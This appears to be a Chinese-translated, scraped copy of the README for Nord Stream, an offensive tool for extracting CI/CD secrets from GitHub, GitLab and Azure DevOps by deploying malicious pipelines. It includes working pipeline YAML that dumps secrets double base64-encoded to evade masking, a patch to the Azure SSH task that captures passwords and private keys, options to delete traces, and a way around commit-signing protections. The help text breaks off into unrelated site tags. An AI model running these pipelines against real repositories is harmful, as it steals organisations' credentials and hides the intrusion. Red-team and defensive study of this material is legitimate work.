synacktiv/nord-stream
GitHub: synacktiv/nord-stream
通过部署恶意 pipeline 自动提取 GitHub、GitLab 和 Azure DevOps 等 CI/CD 平台中存储的密钥与凭据的攻击性安全工具。
Stars: 356 | Forks: 22
# Nord Stream
Nord Stream 是一款允许你通过部署 _恶意_ pipeline 来提取存储在 CI/CD 环境中 secrets 的工具。
它目前支持 Azure DevOps、GitHub 和 GitLab。
在以下博文中了解更多信息:https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
## 目录
- [Nord Stream](#nord-stream)
- [目录](#table-of-contents)
- [安装](#installation)
- [用法](#usage)
- [共享参数](#shared-arguments)
- [描述 token](#describe-token)
- [构建 YAML](#build-yaml)
- [YAML](#yaml)
- [清理日志](#clean-logs)
- [签名 commit](#signing-commits)
- [Azure DevOps](#azure-devops)
- [Service connections](#service-connections)
- [SSH](#ssh)
- [列出 orgs](#listing-orgs)
- [帮助](#help)
- [GitHub](#github)
- [列出保护](#list-protections)
- [禁用保护](#disable-protections)
- [强制](#force)
- [Azure OIDC](#azure-oidc)
- [AWS OIDC](#aws-oidc)
- [帮助](#help-1)
- [GitLab](#gitlab)
- [列出 secrets](#list-secrets)
- [YAML](#yaml-1)
- [列出保护](#list-protections-1)
- [帮助](#help-2)
- [待办事项](#todo)
- [联系方式](#contact)
## 安装
```
$ pipx install git+https://github.com/synacktiv/nord-stream
```
还需要 `git`(参见 https://git-scm.com/download/)并且必须存在于你的 `PATH` 中。
## 用法
这是一个在 GitHub 上的简单示例;首先,可以枚举各种 secrets。
```
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
```
然后进行数据窃取:
```
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[*] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[*] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[*] Getting secrets from environment: "PROD" (org/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=Value only accessible from prod environment
[*] Cleaning logs.
[*] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
```
### 共享参数
[GitHub](#github)、[Azure DevOps](#azure-devops) 和 [GitLab](#gitlab) 之间共享了一些参数,这里是一些示例。
#### 描述 token
`--describe-token` 选项可用于显示有关你的 token 的常规信息:
```
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
```
#### 构建 YAML
`--build-yaml` 选项可用于创建 pipeline 文件而无需部署它。它会检索各种 secret 名称以构建关联的 pipeline,这可用于添加自定义步骤:
```
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
```
#### YAML
`--yaml` 选项可用于部署自定义 pipeline:
```
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
```
```
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml
[+] "synacktiv/repo"
[*] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch
[*] Running custom workflow: .../custom.yml
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Workflow output:
2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here"
2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here"
2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0137261Z ##[endgroup]
2023-07-18T20:08:33.0422019Z Doing some important stuff here
[*] Cleaning logs.
[*] Check output: .../nord-stream-logs/github
```
默认情况下,它将显示 `init` job 中名为 `command` 的 task 的输出,但所有内容都存储在本地,可以手动访问:
```
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
```
#### 清理日志
默认情况下,Nord Stream 会尝试在 pipeline 部署后根据你的权限删除留下的痕迹。要保留痕迹,可以使用 `--no-clean` 选项。这将保留 pipeline 日志,但仍会还原对 repository 所做的更改。
请注意,对于 GitLab,某些痕迹是无法删除的。
#### 签名 commit
Repository 管理员可以强制要求对分支上的 commit 进行签名,以阻止所有未签名和未经验证的 commit。使用 Nord Stream 可以对 commit 进行签名以绕过这种保护。
首先在 SCM 平台上导入你的 GPG key。
```
$ gpg --full-generate-key
$ gpg --armor --export F94496913C43EFC5
$ gpg --list-secret-keys --keyid-format=long
sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23]
Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
uid [ultimate] test-gpg
```
```
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email test.gpg@cicd.local --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
```
```
$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg " [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
```
### Azure DevOps
Nord Stream 可以提取以下类型的 secrets:
- Variable groups (vg)
- Secure files (sf)
- Service connections
#### Service connections
Azure DevOps 提供了创建与外部和远程服务连接的功能,以便在 job 中执行 task。为此,使用了 service connections。Service connection 包含用于连接远程服务的身份凭据。Azure DevOps 中有多种类型的 service connections。
Nord Stream 目前支持对以下类型的 service connection 进行 secret 提取:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
如果你遇到不支持的类型,请提出 issue 或发起 pull request :)
##### SSH
这种 service connection 类型的提取过程实现起来比较痛苦。输出如下:
```
hostname:::port:::user:::password:::privatekey
```
如果你想在自托管 runner 上运行它,可以执行以下操作:
```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
- checkout: none
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak
; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout
= getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
+ ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz",
data, (err) => {});|' $SSH_FILE
displayName: Preparing Build artefacts
- task: SSH@0
inputs:
sshEndpoint: '#FIXME'
runOptions: commands
commands: sleep 1
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak
$SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''
displayName: Build artefacts
```
然后你需要:
1. 将 `vmImage: ubuntu-latest` 更改为 `name: 'Self-Hosted pool name'`
2. 在 `#FIXME` 占位符中添加 service connection 的名称。
3. 使用以下命令部署 pipeline:`--yaml test.yml`
如果你需要在 Windows 自托管 runner 上运行此命令,请在 `generatePipelineForSSH` 方法中将 `_serviceConnectionTemplateSSH` 更改为 `_serviceConnectionTemplateSSHWindows`,并执行先前描述的操作。
注意:对于 Windows 和 Linux 自托管 runner,你都需要调整路径(`/home/vsts/work/_tasks/` 或 `D:\a\`)以匹配 runner 部署的路径。此信息可以在 Azure DevOps 上 agent 的 `Capabilities` 选项卡中获取。
#### 列出 orgs
使用 access token 可以列出绑定到用户的 organizations:
```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
```
这是基于 [这项研究](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/)。
#### 帮助
```
$ nord-stream devops -h
CICD pipeline exploitation tool
Usage:
nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ]
nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ]
nord-stream devops [options] --token --org --build-yaml 标签:Azure DevOps, CI/CD安全, DevOps安全, GitLab, Llama, StruQ, YAML部署, 供应链攻击, 密钥提取, 恶意管道, 机密数据窃取, 源代码管理, 网络安全研究, 逆向工具